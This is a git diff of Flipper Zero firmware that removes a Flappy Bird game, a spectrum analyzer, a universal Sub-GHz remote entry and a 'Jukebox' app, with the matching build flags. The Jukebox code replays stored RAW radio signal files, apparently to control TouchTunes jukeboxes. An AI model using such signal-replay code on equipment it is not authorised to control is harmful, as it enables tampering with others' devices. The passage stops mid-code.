APP_UNIVERSALRF - {.app = universal_rf_remote_app, - .name = "Universal SubGHz", - .stack_size = 2048, - .icon = &A_UniversalRemote_14, - .flags = FlipperApplicationFlagDefault}, -#endif - -#ifdef APP_JUKEBOX - {.app = jukebox_app, - .name = "Jukebox", - .stack_size = 2048, - .icon = &A_TouchTunes_14, - .flags = FlipperApplicationFlagDefault}, -#endif - #ifdef APP_LF_RFID {.app = lfrfid_app, .name = "125 kHz RFID", @@ -367,14 +345,6 @@ const FlipperApplication FLIPPER_PLUGINS[] = { .flags = FlipperApplicationFlagDefault}, #endif -#ifdef APP_FLAPPY_GAME - {.app = flappy_game_app, - .name = "Flipper Flappy Bird", - .stack_size = 1024, - .icon = &A_Plugins_14 - }, -#endif - #ifdef APP_MUSIC_PLAYER {.app = music_player_app, .name = "Music Player", @@ -391,14 +361,6 @@ const FlipperApplication FLIPPER_PLUGINS[] = { .flags = FlipperApplicationFlagDefault}, #endif -#ifdef APP_SPECTRUM_ANALYZER - {.app = spectrum_analyzer_app, - .name = "Spectrum Analyzer", - .stack_size = 1024, - .icon = &A_Plugins_14, - .flags = FlipperApplicationFlagDefault}, -#endif - #ifdef APP_TETRIS_GAME {.app = tetris_game_app, .name = "Tetris Game", .stack_size = 1024, .icon = NULL}, #endif @@ -408,19 +370,6 @@ const FlipperApplication FLIPPER_PLUGINS[] = { .stack_size = 4096, .icon = &A_MusicPlayer_14, .flags = FlipperApplicationFlagDefault}, - -// #ifdef APP_RAYCAST_GAME -// {.app = raycast_game_app, .name = "Raycast Game", .stack_size = 4096, .icon = NULL}, -// #endif - -// #ifdef FLOOPPER_BLOOPPER -// {.app = floopper_bloopper, -// .name = "Floopper Bloopper", -// .stack_size = 1024, -// .icon = &A_Plugins_14, -// .flags = FlipperApplicationFlagDefault}, -// #endif - }; const size_t FLIPPER_PLUGINS_COUNT = COUNT_OF(FLIPPER_PLUGINS); diff --git a/applications/applications.mk b/applications/applications.mk index 95f060df6..30dffbcaf 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -40,8 +40,6 @@ APP_INFRARED = 1 APP_LF_RFID = 1 APP_NFC = 1 APP_SUBGHZ = 1 -APP_UNIVERSALRF = 1 -APP_JUKEBOX = 1 APP_ABOUT = 1 APP_PASSPORT = 1 APP_UPDATER = 1 @@ -50,11 +48,7 @@ APP_UPDATER = 1 APP_MUSIC_PLAYER = 1 APP_SNAKE_GAME = 1 APP_TETRIS_GAME = 1 -# APP_RAYCAST_GAME = 1 APP_CLOCK = 1 -APP_SPECTRUM_ANALYZER = 1 -APP_FLAPPY_GAME = 1 - # Debug APP_ACCESSOR = 1 @@ -113,19 +107,6 @@ SRV_GUI = 1 SRV_CLI = 1 endif -APP_UNIVERSALRF ?= 0 -ifeq ($(APP_UNIVERSALRF), 1) -CFLAGS += -DAPP_UNIVERSALRF -SRV_GUI = 1 -SRV_CLI = 1 -endif - -APP_JUKEBOX ?= 0 -ifeq ($(APP_JUKEBOX), 1) -CFLAGS += -DAPP_JUKEBOX -SRV_GUI = 1 -SRV_CLI = 1 -endif APP_ABOUT ?= 0 ifeq ($(APP_ABOUT), 1) @@ -255,11 +236,6 @@ CFLAGS += -DAPP_MUSIC_PLAYER SRV_GUI = 1 endif -APP_FLAPPY_GAME ?= 0 -ifeq ($(APP_FLAPPY_GAME), 1) -CFLAGS += -DAPP_FLAPPY_GAME -SRV_GUI = 1 -endif APP_SNAKE_GAME ?= 0 ifeq ($(APP_SNAKE_GAME), 1) @@ -267,11 +243,6 @@ CFLAGS += -DAPP_SNAKE_GAME SRV_GUI = 1 endif -APP_SPECTRUM_ANALYZER ?= 0 -ifeq ($(APP_SPECTRUM_ANALYZER), 1) -CFLAGS += -DAPP_SPECTRUM_ANALYZER -SRV_GUI = 1 -endif APP_TETRIS_GAME ?= 0 ifeq ($(APP_TETRIS_GAME), 1) @@ -279,12 +250,6 @@ CFLAGS += -DAPP_TETRIS_GAME SRV_GUI = 1 endif -# APP_RAYCAST_GAME ?= 0 -# ifeq ($(APP_RAYCAST_GAME), 1) -# CFLAGS += -DAPP_RAYCAST_GAME -# SRV_GUI = 1 -# endif - APP_CLOCK ?= 0 ifeq ($(APP_CLOCK), 1) diff --git a/applications/flappy_bird/bird.h b/applications/flappy_bird/bird.h deleted file mode 100644 index 339c8056a..000000000 --- a/applications/flappy_bird/bird.h +++ /dev/null @@ -1,54 +0,0 @@ -#include - -uint8_t bird_array[3][15][11] = { - { - {0,0,0,0,0,0,1,1,0,0,0}, - {0,0,0,0,0,1,0,0,1,0,0}, - {0,0,0,0,0,1,0,0,0,1,0}, - {0,0,1,1,1,1,0,0,0,1,0}, - {0,1,0,0,0,1,0,0,0,1,0}, - {0,1,0,0,0,0,1,0,1,0,1}, - {1,0,0,0,0,0,0,1,0,0,1}, - {1,0,1,1,1,0,0,1,0,0,1}, - {1,1,0,0,0,0,1,0,1,0,1}, - {1,0,0,0,0,1,0,1,0,1,0}, - {1,0,0,0,0,1,0,1,0,1,0}, - {0,1,0,1,1,1,0,1,0,1,0}, - {0,0,1,0,0,1,0,1,0,1,0}, - {0,0,0,1,1,1,0,1,0,1,0}, - {0,0,0,0,0,0,1,1,1,0,0}, - }, { - {0,0,0,0,0,1,1,0,0,0,0}, - {0,0,0,0,1,0,0,1,0,0,0}, - {0,0,0,0,1,0,0,0,1,0,0}, - {0,0,1,1,1,0,0,0,1,0,0}, - {0,1,0,0,1,0,0,0,1,1,0}, - {0,1,0,0,0,1,0,1,0,0,1}, - {1,0,0,0,0,0,1,0,0,0,1}, - {1,0,1,1,1,0,0,1,0,0,1}, - {1,1,0,0,0,0,1,0,1,0,1}, - {1,0,0,0,0,1,0,1,0,1,0}, - {1,0,0,0,0,1,0,1,0,1,0}, - {0,1,0,1,1,1,0,1,0,1,0}, - {0,0,1,0,0,1,0,1,0,1,0}, - {0,0,0,1,1,1,0,1,0,1,0}, - {0,0,0,0,0,0,1,1,1,0,0}, - }, { - {0,0,0,0,1,1,0,0,0,0,0}, - {0,0,0,1,0,0,1,0,0,0,0}, - {0,0,0,1,0,0,0,1,1,0,0}, - {0,0,1,1,0,0,0,1,0,1,0}, - {0,1,0,1,0,0,0,1,0,1,0}, - {0,1,0,0,1,0,1,0,0,0,1}, - {1,0,0,0,0,1,0,0,0,0,1}, - {1,0,1,1,1,0,0,1,0,0,1}, - {1,1,0,0,0,0,1,0,1,0,1}, - {1,0,0,0,0,1,0,1,0,1,0}, - {1,0,0,0,0,1,0,1,0,1,0}, - {0,1,0,1,1,1,0,1,0,1,0}, - {0,0,1,0,0,1,0,1,0,1,0}, - {0,0,0,1,1,1,0,1,0,1,0}, - {0,0,0,0,0,0,1,1,1,0,0}, - } -}; - \ No newline at end of file diff --git a/applications/flappy_bird/flappy_bird.c b/applications/flappy_bird/flappy_bird.c deleted file mode 100644 index 602ccc851..000000000 --- a/applications/flappy_bird/flappy_bird.c +++ /dev/null @@ -1,256 +0,0 @@ -#include -#include -#include -#include - -#include "bird.h" - -#define TAG "Flappy" - -#define FLAPPY_BIRD_HEIGHT 15 -#define FLAPPY_BIRD_WIDTH 10 - -#define FLAPPY_PILAR_MAX 6 -#define FLAPPY_PILAR_DIST 45 - -#define FLAPPY_GAB_HEIGHT 25 -#define FLAPPY_GAB_WIDTH 5 - -#define FLAPPY_GRAVITY_JUMP -1.1 -#define FLAPPY_GRAVITY_TICK 0.10 - -#define FLIPPER_LCD_WIDTH 128 -#define FLIPPER_LCD_HEIGHT 64 - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - int x; - int y; -} POINT; - -typedef struct { - float gravity; - POINT point; -}BIRD; - -typedef struct { - POINT point; - int height; - int visible; - int passed; -} PILAR; - -typedef struct { - BIRD bird; - - int points; - int pilars_count; - PILAR pilars[FLAPPY_PILAR_MAX]; -} GameState; - -typedef struct { - EventType type; - InputEvent input; -} GameEvent; - -typedef enum { - DirectionUp, - DirectionRight, - DirectionDown, - DirectionLeft, -} Direction; - -static void flappy_game_random_pilar(GameState* const game_state) { - PILAR pilar; - - pilar.visible = 1; - pilar.height = random() % (FLIPPER_LCD_HEIGHT - FLAPPY_GAB_HEIGHT) + 1; - pilar.point.y = 0; - pilar.point.x = FLIPPER_LCD_WIDTH + FLAPPY_GAB_WIDTH + 1; - - game_state->pilars_count++; - game_state->pilars[game_state->pilars_count % FLAPPY_PILAR_MAX] = pilar; -} - -static void flappy_game_tick(GameState* const game_state) { - game_state->bird.gravity += FLAPPY_GRAVITY_TICK; - game_state->bird.point.y += game_state->bird.gravity; - - // Checking the location of the last respawned pilar. - PILAR * pilar = &game_state->pilars[game_state->pilars_count % FLAPPY_PILAR_MAX]; - if (pilar->point.x == (FLIPPER_LCD_WIDTH - FLAPPY_PILAR_DIST)) - flappy_game_random_pilar(game_state); - - // Updating the position/status of the pilars (visiblity, posotion, game points) - for (int i = 0; i < FLAPPY_PILAR_MAX; i++) { - PILAR * pilar = &game_state->pilars[i]; - pilar->point.x--; - - if (pilar != NULL && pilar->visible && pilar->point.x > 0) { - if (game_state->bird.point.x >= pilar->point.x + FLAPPY_GAB_WIDTH && - pilar->passed == 0) { - pilar->passed = 1; - game_state->points++; - } - if (pilar->point.x < -FLAPPY_PILAR_DIST) - pilar->visible = 0; - } - } -} - -static void flappy_game_flap(GameState* const game_state) { - game_state->bird.gravity = FLAPPY_GRAVITY_JUMP; -} - -static void flappy_game_state_init(GameState* const game_state) { - BIRD bird; - bird.gravity = 0.0f; - bird.point.x = 5; - bird.point.y = 32; - - game_state->bird = bird; - game_state->pilars_count = 0; - memset(game_state->pilars, 0, sizeof(game_state->pilars)); - - flappy_game_random_pilar(game_state); -} - -static void flappy_game_render_callback(Canvas* const canvas, void* ctx) { - const GameState* game_state = acquire_mutex((ValueMutex*)ctx, 25); - if(game_state == NULL) { - return; - } - - canvas_draw_frame(canvas, 0, 0, 128, 64); - - // Pilars - for (int i = 0; i < FLAPPY_PILAR_MAX; i++) { - const PILAR * pilar = &game_state->pilars[i]; - if (pilar != NULL && pilar->visible) { - canvas_draw_dot(canvas, pilar->point.x, pilar->point.y + 10); - canvas_draw_frame(canvas, pilar->point.x, pilar->point.y, - FLAPPY_GAB_WIDTH, pilar->height); - - canvas_draw_frame(canvas, pilar->point.x, pilar->point.y + pilar->height + FLAPPY_GAB_HEIGHT, - FLAPPY_GAB_WIDTH, FLIPPER_LCD_HEIGHT - pilar->height - FLAPPY_GAB_HEIGHT); - } - } - - // Flappy - for (int h = 0; h < FLAPPY_BIRD_HEIGHT; h++) { - for (int w = 0; w < FLAPPY_BIRD_WIDTH; w++) { - // Switch animation - int bird = 0; - if (game_state->bird.gravity < -0.5) - bird = 1; - else - bird = 2; - - // Draw bird pixels - if (bird_array[bird][h][w] == 1) { - int x = game_state->bird.point.x + h; - int y = game_state->bird.point.y + w; - - canvas_draw_dot(canvas, x, y); - } - } - } - - release_mutex((ValueMutex*)ctx, game_state); -} - - -static void flappy_game_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeKey, .input = *input_event}; - osMessageQueuePut(event_queue, &event, 0, osWaitForever); -} - -static void flappy_game_update_timer_callback(osMessageQueueId_t event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeTick}; - osMessageQueuePut(event_queue, &event, 0, 0); -} - -int32_t flappy_game_app(void* p) { - osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(GameEvent), NULL); - - GameState* game_state = malloc(sizeof(GameState)); - flappy_game_state_init(game_state); - - ValueMutex state_mutex; - if (!init_mutex(&state_mutex, game_state, sizeof(GameState))) { - FURI_LOG_E(TAG, "cannot create mutex\r\n"); - free(game_state); - return 255; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, flappy_game_render_callback, &state_mutex); - view_port_input_callback_set(view_port, flappy_game_input_callback, event_queue); - - osTimerId_t timer = - osTimerNew(flappy_game_update_timer_callback, osTimerPeriodic, event_queue, NULL); - osTimerStart(timer, osKernelGetTickFreq() / 22); - - // Open GUI and register view_port - Gui* gui = furi_record_open("gui"); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - GameEvent event; - for(bool processing = true; processing;) { - osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); - GameState* game_state = (GameState*)acquire_mutex_block(&state_mutex); - - if(event_status == osOK) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - game_state->bird.point.y--; - break; - case InputKeyDown: - game_state->bird.point.y++; - break; - case InputKeyRight: - game_state->bird.point.x++; - break; - case InputKeyLeft: - game_state->bird.point.x--; - break; - case InputKeyOk: - flappy_game_flap(game_state); - break; - case InputKeyBack: - processing = false; - break; - } - } - } else if(event.type == EventTypeTick) { - flappy_game_tick(game_state); - } - } else { - FURI_LOG_D(TAG, "osMessageQueue: event timeout"); - // event timeout - } - - view_port_update(view_port); - release_mutex(&state_mutex, game_state); - } - - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close("gui"); - view_port_free(view_port); - osMessageQueueDelete(event_queue); - - return 0; -} \ No newline at end of file diff --git a/applications/jukebox/jukebox.c b/applications/jukebox/jukebox.c deleted file mode 100644 index d4eb814d5..000000000 --- a/applications/jukebox/jukebox.c +++ /dev/null @@ -1,276 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define TAG "JukeBox" - -typedef struct { - bool press[5]; -} RemoteAppState; - -static void jukebox_reset_state(RemoteAppState* state) { - state->press[0] = 0; - state->press[1] = 0; - state->press[2] = 0; - state->press[3] = 0; - state->press[4] = 0; -} -static string_t up_file; -static string_t down_file; -static string_t left_file; -static string_t right_file; -static string_t ok_file; - -static char* subString(char* someString, int n) { - char* new = malloc(sizeof(char) * n + 1); - strncpy(new, someString, n); - new[n] = '\0'; - return(new); -} - -static char* file_stub(const char* file_name) { - string_t filename; - string_init(filename); - // string_init(file_name); - path_extract_filename_no_ext(file_name, filename); - - return(subString((char*)string_get_cstr(filename), 8)); -} - -static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t protocol) { - uint32_t repeat = 1; - frequency = frequency ? frequency : 433920000; - FURI_LOG_D(TAG, "file to send: %s", string_get_cstr(signal)); - - if(strlen(string_get_cstr(signal)) < 10) { - return; - } - - string_t flipper_format_string; - if(strcmp(string_get_cstr(protocol), "RAW") == 0) { - string_init_printf(flipper_format_string, "File_name: %s", string_get_cstr(signal)); - } else { - return; - } - NotificationApp* notification = furi_record_open("notification"); - FlipperFormat* flipper_format = flipper_format_string_alloc(); - Stream* stream = flipper_format_get_raw_stream(flipper_format); - stream_clean(stream); - stream_write_cstring(stream, string_get_cstr(flipper_format_string)); - - SubGhzEnvironment* environment = subghz_environment_alloc(); - - SubGhzTransmitter* transmitter = - subghz_transmitter_alloc_init(environment, string_get_cstr(protocol)); - subghz_transmitter_deserialize(transmitter, flipper_format); - - furi_hal_subghz_reset(); - furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok270Async); - furi_hal_subghz_set_frequency_and_path(frequency); - FURI_LOG_D( - TAG, "Transmitting at %lu, repeat %lu. Press CTRL+C to stop\r\n", frequency, repeat); - - furi_hal_power_suppress_charge_enter(); - notification_message(notification, &sequence_set_vibro_on); - - furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); - - while(!(furi_hal_subghz_is_async_tx_complete())) { - FURI_LOG_D(TAG, "."); - fflush(stdout); - osDelay(333); - } - notification_message(notification, &sequence_reset_vibro); - - furi_record_close("notification"); - furi_hal_subghz_stop_async_tx(); - furi_hal_subghz_sleep(); - - furi_hal_power_suppress_charge_exit(); - - flipper_format_free(flipper_format); - subghz_transmitter_free(transmitter); - subghz_environment_free(environment); -} - -static void jukebox_render_callback(Canvas* canvas, void* ctx) { - RemoteAppState* state = (RemoteAppState*)acquire_mutex((ValueMutex*)ctx, 25); - canvas_clear(canvas); - char strings[5][20]; - string_t signal; - string_init(signal); - sprintf(strings[0], "Ok: %s", file_stub(string_get_cstr(ok_file))); - sprintf(strings[1], "L: %s", file_stub(string_get_cstr(left_file))); - sprintf(strings[2], "R: %s", file_stub(string_get_cstr(right_file))); - sprintf(strings[3], "U: %s", file_stub(string_get_cstr(up_file))); - sprintf(strings[4], "D: %s", file_stub(string_get_cstr(down_file))); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 0, 10, "Univeral Remote"); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 24, strings[1]); - canvas_draw_str(canvas, 85, 24, strings[2]); - canvas_draw_str(canvas, 0, 36, strings[3]); - canvas_draw_str(canvas, 85, 36, strings[4]); - canvas_draw_str(canvas, 0, 48, strings[0]); - // canvas_draw_circle(canvas, 100, 26, 25); - - if(state->press[0]) { - string_cat_printf(signal, "%s", string_get_cstr(right_file)); - } - - else if(state->press[1]) { - string_cat_printf(signal, "%s", string_get_cstr(left_file)); - - } else if(state->press[2]) { - string_cat_printf(signal, "%s", string_get_cstr(up_file)); - - } else if(state->press[3]) { - string_cat_printf(signal, "%s", string_get_cstr(down_file)); - - } - - else if(state->press[4]) { - string_cat_printf(signal, "%s", string_get_cstr(ok_file)); - } - FURI_LOG_D(TAG, "signal = %s", string_get_cstr(signal)); - - if(strlen(string_get_cstr(signal)) > 12) { - string_t file_name; - string_init(file_name); - string_t protocol; - string_init(protocol); - string_set(file_name, string_get_cstr(signal)); - Storage* storage = furi_record_open("storage"); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - uint32_t frequency_str; - flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name)); - flipper_format_read_uint32(fff_data_file, "Frequency", (uint32_t*)&frequency_str, 1); - if(!flipper_format_read_string(fff_data_file, "Protocol", protocol)) { - FURI_LOG_D(TAG, "Could not read Protocol"); - string_set(protocol, "RAW"); - } - flipper_format_free(fff_data_file); - furi_record_close("storage"); - FURI_LOG_D(TAG, "%lu", frequency_str); - jukebox_send_signal(frequency_str, signal, protocol); - } - - canvas_draw_str(canvas, 10, 63, "[back] - skip, hold to exit"); - jukebox_reset_state(state); - release_mutex((ValueMutex*)ctx, state); -} - -static void jukebox_input_callback(InputEvent* input_event, void* ctx) { - if (input_event->type == InputTypeRelease) { - osMessageQueueId_t event_queue = ctx; - osMessageQueuePut(event_queue, input_event, 0, osWaitForever); - } -} - -int32_t jukebox_app(void* p) { - UNUSED(p); - osMessageQueueId_t event_queue = osMessageQueueNew(32, sizeof(InputEvent), NULL); - furi_check(event_queue); - string_init(up_file); - string_init(down_file); - string_init(left_file); - string_init(right_file); - string_init(ok_file); - - string_t file_name; - string_init(file_name); - string_set(file_name, "/ext/subghz/assets/touchtunes_map"); - Storage* storage = furi_record_open("storage"); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { - FURI_LOG_D(TAG, "Could not open file %s", string_get_cstr(file_name)); - } - - if(!flipper_format_read_string(fff_data_file, "UP", up_file)) { - FURI_LOG_D(TAG, "Could not read UP string"); - } - if(!flipper_format_read_string(fff_data_file, "DOWN", down_file)) { - FURI_LOG_D(TAG, "Could not read DOWN string"); - } - if(!flipper_format_read_string(fff_data_file, "LEFT", left_file)) { - FURI_LOG_D(TAG, "Could not read LEFT string"); - } - if(!flipper_format_read_string(fff_data_file, "RIGHT", right_file)) { - FURI_LOG_D(TAG, "Could not read RIGHT string"); - } - if(!flipper_format_read_string(fff_data_file, "OK", ok_file)) { - FURI_LOG_D(TAG, "Could not read OK string"); - } - flipper_format_free(fff_data_file); - furi_record_close("storage"); - FURI_LOG_I( - TAG, - "%s %s %s %s %s ", - string_get_cstr(up_file), - string_get_cstr(down_file), - string_get_cstr(left_file), - string_get_cstr(right_file), - string_get_cstr(ok_file)); - - RemoteAppState _state = {{false, false, false, false, false}}; - - ValueMutex state_mutex; - if(!init_mutex(&state_mutex, &_state, sizeof(RemoteAppState))) { - FURI_LOG_D(TAG, "cannot create mutex"); - return(0); - } - - ViewPort* view_port = view_port_alloc(); - - view_port_draw_callback_set(view_port, jukebox_render_callback, &state_mutex); - view_port_input_callback_set(view_port, jukebox_input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open("gui"); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - InputEvent event; - while(osMessageQueueGet(event_queue, &event, NULL, osWaitForever) == osOK) { - RemoteAppState* state = (RemoteAppState*)acquire_mutex_block(&state_mutex); - FURI_LOG_D( - TAG, - "key: %s type: %s", - input_get_key_name(event.key), - input_get_type_name(event.type)); - - if(event.key == InputKeyRight) { - state->press[0] = true; - } else if(event.key == InputKeyLeft) { - state->press[1] = true; - } else if(event.key == InputKeyUp) { - state->press[2] = true; - } else if(event.key == InputKeyDown) { - state->press[3] = true; - } else if(event.key == InputKeyOk) { - state->press[4] = true; - } else if(event.key == InputKeyBack) { - release_mutex(&state_mutex, state); - break; - } - release_mutex(&state_mutex, state); - view_port_update(view_port); - } - // remove & free all stuff created by app - gui_remove_view_port(gui, view_port); - view_port_free(view_port); - osMessageQueueDelete(event_queue); - delete_mutex(&state_mutex); - - furi_record_close("gui"); - - return(0); -} \ No newline at end of file diff --git a/applications/spectrum_analyzer/spectrum_analyzer.c b/applications/spectrum_analyzer/spectrum_analyzer.c deleted file mode 100644 index 5d9ec2531..000000000 --- a/applications/spectrum_analyzer/spectrum_analyzer.c +++ /dev/null @@ -1,459 +0,0 @@ -#include -#include - -#include -#include -#include -#include "spectrum_analyzer.h" - -#include - -#include -#include "spectrum_analyzer_worker.h" - -typedef struct { - uint16_t center_freq; - uint8_t width; - uint8_t band; - uint8_t vscroll; - - uint32_t channel0_frequency; - uint32_t spacing; - - float max_rssi; - uint8_t max_rssi_dec; - uint8_t max_rssi_channel; - uint8_t channel_ss[NUM_CHANNELS]; -} SpectrumAnalyzerModel; - -typedef struct { - SpectrumAnalyzerModel* model; - osMutexId_t* model_mutex; - - osMessageQueueId_t event_queue; - - ViewPort* view_port; - Gui* gui; - - SpectrumAnalyzerWorker* worker; -} SpectrumAnalyzer; - -void spectrum_analyzer_draw_scale(Canvas* canvas, const SpectrumAnalyzerModel* model) { - // Draw line - canvas_draw_line( - canvas, FREQ_START_X, FREQ_BOTTOM_Y, FREQ_START_X + FREQ_LENGTH_X, FREQ_BOTTOM_Y); - // Draw minor scale - for(int i = FREQ_START_X; i < FREQ_START_X + FREQ_LENGTH_X; i += 5) { - canvas_draw_line(canvas, i, FREQ_BOTTOM_Y, i, FREQ_BOTTOM_Y + 2); - } - // Draw major scale - for(int i = FREQ_START_X; i < FREQ_START_X + FREQ_LENGTH_X; i += 25) { - canvas_draw_line(canvas, i, FREQ_BOTTOM_Y, i, FREQ_BOTTOM_Y + 4); - } - - // Draw scale tags - uint16_t tag_left; - uint16_t tag_center; - uint16_t tag_right; - char temp_str[18]; - - tag_center = model->center_freq; - - switch(model->width) { - case NARROW: - tag_left = model->center_freq - 2; - tag_right = model->center_freq + 2; - break; - case ULTRAWIDE: - tag_left = model->center_freq - 40; - tag_right = model->center_freq + 40; - break; - default: - tag_left = model->center_freq - 10; - tag_right = model->center_freq + 10; - } - - canvas_set_font(canvas, FontSecondary); - snprintf(temp_str, 18, "%u", tag_left); - canvas_draw_str_aligned(canvas, FREQ_START_X, 63, AlignCenter, AlignBottom, temp_str); - snprintf(temp_str, 18, "%u", tag_center); - canvas_draw_str_aligned(canvas, 128 / 2, 63, AlignCenter, AlignBottom, temp_str); - snprintf(temp_str, 18, "%u", tag_right); - canvas_draw_str_aligned( - canvas, FREQ_START_X + FREQ_LENGTH_X - 1, 63, AlignCenter, AlignBottom, temp_str); -} - -static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { - SpectrumAnalyzer* spectrum_analyzer = ctx; - furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); - - SpectrumAnalyzerModel* model = spectrum_analyzer->model; - - spectrum_analyzer_draw_scale(canvas, model); - - for(uint8_t column = 0; column < 128; column++) { - uint8_t ss = model->channel_ss[column + 2]; - // Compress height to max of 64 values (255>>2) - uint8_t s = MAX((ss - model->vscroll) >> 2, 0); - uint8_t y = FREQ_BOTTOM_Y - s; // bar height - - // Draw each bar - canvas_draw_line(canvas, column, FREQ_BOTTOM_Y, column, y); - } - - // Draw cross and label - if(model->max_rssi > PEAK_THRESHOLD) { - // Compress height to max of 64 values (255>>2) - uint8_t max_y = MAX((model->max_rssi_dec - model->vscroll) >> 2, 0); - max_y = (FREQ_BOTTOM_Y - max_y); - - // Cross - int16_t x1, x2, y1, y2; - x1 = model->max_rssi_channel - 2 - 2; - if(x1 < 0) x1 = 0; - y1 = max_y - 2; - if(y1 < 0) y1 = 0; - x2 = model->max_rssi_channel - 2 + 2; - if(x2 > 127) x2 = 127; - y2 = max_y + 2; - if(y2 > 63) y2 = 63; // SHOULD NOT HAPPEN CHECK! - canvas_draw_line(canvas, x1, y1, x2, y2); - - x1 = model->max_rssi_channel - 2 + 2; - if(x1 > 127) x1 = 127; - y1 = max_y - 2; - if(y1 < 0) y1 = 0; - x2 = model->max_rssi_channel - 2 - 2; - if(x2 < 0) x2 = 0; - y2 = max_y + 2; - if(y2 > 63) y2 = 63; // SHOULD NOT HAPPEN CHECK! - canvas_draw_line(canvas, (uint8_t)x1, (uint8_t)y1, (uint8_t)x2, (uint8_t)y2); - - // Label - char temp_str[36]; - snprintf( - temp_str, - 36, - "Peak: %3.2f Mhz %3.1f dbm", - ((float)(model->channel0_frequency + (model->max_rssi_channel * model->spacing)) / - 1000000), - model->max_rssi); - canvas_draw_str_aligned(canvas, 127, 0, AlignRight, AlignTop, temp_str); - } - - osMutexRelease(spectrum_analyzer->model_mutex); - - // FURI_LOG_D("Spectrum", "model->vscroll %u", model->vscroll); -} - -static void spectrum_analyzer_input_callback(InputEvent* input_event, void* ctx) { - SpectrumAnalyzer* spectrum_analyzer = ctx; - // Only handle short presses - if(input_event->type == InputTypeShort) { - osMessageQueuePut(spectrum_analyzer->event_queue, input_event, 0, osWaitForever); - } -} - -static void spectrum_analyzer_worker_callback( - void* channel_ss, - float max_rssi, - uint8_t max_rssi_dec, - uint8_t max_rssi_channel, - void* context) { - SpectrumAnalyzer* spectrum_analyzer = context; - furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); - - SpectrumAnalyzerModel* model = (SpectrumAnalyzerModel*)spectrum_analyzer->model; - memcpy(model->channel_ss, (uint8_t*)channel_ss, sizeof(uint8_t) * NUM_CHANNELS); - model->max_rssi = max_rssi; - model->max_rssi_dec = max_rssi_dec; - model->max_rssi_channel = max_rssi_channel; - - osMutexRelease(spectrum_analyzer->model_mutex); - view_port_update(spectrum_analyzer->view_port); -} - -void spectrum_analyzer_calculate_frequencies(SpectrumAnalyzerModel* model) { - // REDO ALL THIS. CALCULATE ONLY WITH SPACING! - - uint8_t new_band; - uint32_t min_hz; - uint32_t max_hz; - uint8_t margin; - uint8_t step; - uint16_t upper_limit; - uint16_t lower_limit; - uint16_t next_up; - uint16_t next_down; - uint8_t next_band_up; - uint8_t next_band_down; - - switch(model->width) { - case NARROW: - margin = NARROW_MARGIN; - step = NARROW_STEP; - model->spacing = NARROW_SPACING; - break; - case ULTRAWIDE: - margin = ULTRAWIDE_MARGIN; - step = ULTRAWIDE_STEP; - model->spacing = ULTRAWIDE_SPACING; - /* nearest 20 MHz step */ - model->center_freq = ((model->center_freq + 10) / 20) * 20; - break; - default: - margin = WIDE_MARGIN; - step = WIDE_STEP; - model->spacing = WIDE_SPACING; - /* nearest 5 MHz step */ - model->center_freq = ((model->center_freq + 2) / 5) * 5; - break; - } - - /* handle cases near edges of bands */ - if(model->center_freq > EDGE_900) { - new_band = BAND_900; - upper_limit = UPPER(MAX_900, margin, step); - lower_limit = LOWER(MIN_900, margin, step); - next_up = LOWER(MIN_300, margin, step); - next_down = UPPER(MAX_400, margin, step); - next_band_up = BAND_300; - next_band_down = BAND_400; - } else if(model->center_freq > EDGE_400) { - new_band = BAND_400; - upper_limit = UPPER(MAX_400, margin, step); - lower_limit = LOWER(MIN_400, margin, step); - next_up = LOWER(MIN_900, margin, step); - next_down = UPPER(MAX_300, margin, step); - next_band_up = BAND_900; - next_band_down = BAND_300; - } else { - new_band = BAND_300; - upper_limit = UPPER(MAX_300, margin, step); - lower_limit = LOWER(MIN_300, margin, step); - next_up = LOWER(MIN_400, margin, step); - next_down = UPPER(MAX_900, margin, step); - next_band_up = BAND_400; - next_band_down = BAND_900; - } - - if(model->center_freq > upper_limit) { - model->center_freq = upper_limit; - if(new_band == model->band) { - new_band = next_band_up; - model->center_freq = next_up; - } - } else if(model->center_freq < lower_limit) { - model->center_freq = lower_limit; - if(new_band == model->band) { - new_band = next_band_down; - model->center_freq = next_down; - } - } - - model->band = new_band; - /* doing everything in Hz from here on */ - switch(model->band) { - case BAND_400: - min_hz = MIN_400 * 1000000; - max_hz = MAX_400 * 1000000; - break; - case BAND_300: - min_hz = MIN_300 * 1000000; - max_hz = MAX_300 * 1000000; - break; - default: - min_hz = MIN_900 * 1000000; - max_hz = MAX_900 * 1000000; - break; - } - - model->channel0_frequency = - model->center_freq * 1000000 - (model->spacing * ((NUM_CHANNELS / 2) + 1)); - - // /* calibrate upper channels */ - // hz = model->center_freq * 1000000; - // max_chan = NUM_CHANNELS / 2; - // while (hz <= max_hz && max_chan < NUM_CHANNELS) { - // instance->chan_table[max_chan].frequency = hz; - // FURI_LOG_T("Spectrum", "calibrate_freq ch[%u]: %lu", max_chan, hz); - // hz += model->spacing; - // 